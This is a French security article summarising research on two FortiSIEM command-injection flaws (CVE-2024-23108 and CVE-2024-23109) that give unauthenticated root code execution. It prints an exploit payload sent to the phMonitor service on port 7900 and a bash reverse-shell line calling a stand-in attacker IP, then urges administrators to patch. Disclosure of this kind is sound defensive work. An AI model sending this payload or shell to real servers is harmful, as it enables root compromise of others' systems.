En novembre 2023, lors de la préparation pour un appel à communications, un chercheur en sécurité a tenté d’étudier le correctif de Fortinet pour CVE-2023-34992 sur FortiSIEM. N’ayant pas obtenu l’accès aux versions les plus récentes des appliances auprès de l’équipe PSIRT de Fortinet, il a finalement pu analyser le correctif par d’autres moyens.
Son analyse a révélé que bien que les correctifs pour CVE-2023-34992 aient tenté d’échapper les entrées contrôlées par l’utilisateur avec l’utilitaire wrapShellToken(), il existe une injection de commandes de second ordre lorsque certains paramètres sont envoyés à datastore.py. Deux vulnérabilités distinctes, CVE-2024-23108 et CVE-2024-23109, toutes deux avec un score CVSS 3.0 de 10.0, permettent une exécution de commandes à distance en tant que root, sans authentification.
Pour exploiter CVE-2024-23108, un attaquant peut envoyer un message handleStorageRequest malveillant au service phMonitor sur le port TCP 7900. Voici un exemple de charge utile d’exploitation :
handleStorageRequest(metadata='{"command_type":81,"filename":"","job_id":25}', parameters='{"server_ip":"8.8.8.8","mount_point":"</opt/put_rev_shell_here.sh>","protocol":"nfs","mount_type":"online"}')
Où « put_rev_shell_here.sh » contient un script shell reverse qui sera exécuté avec les privilèges root, comme celui-ci :
#!/bin/bash
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Cela déclencherait alors l’exécution du script datastore.py avec les paramètres contrôlés par l’attaquant, qui seraient transmis à test.py sans validation adéquate. Ce dernier appellerait finalement os.system() avec la charge malveillante, établissant ainsi un accès shell inversé depuis le serveur vulnérable vers l’IP de l’attaquant.
Les journaux du service phMonitor situés dans /opt/phoenix/logs/phoenix.log enregistreraient une entrée similaire :
2023-11-29 14:25:36,928 [WARN ] Exception on handleStorageRequest command:datastore.py nfs test '8.8.8.8' '</opt/put_rev_shell_here.sh>' online
Traceback (most recent call last):
...
Confirmant l’exécution réussie de la commande malveillante sur le système.
Fortinet a publié un correctif silencieux pour ces vulnérabilités dans la version 7.1.2 build 0160 en janvier 2024, sans aucune mention initiale. Les administrateurs de FortiSIEM sont vivement encouragés à mettre à jour dès que possible pour se prémunir contre cette faille critique d’exécution à distance en tant que root.
Source : https://watchtowr.com/blog/2024/05/28/cve-2024-23108-fortisiem-rce/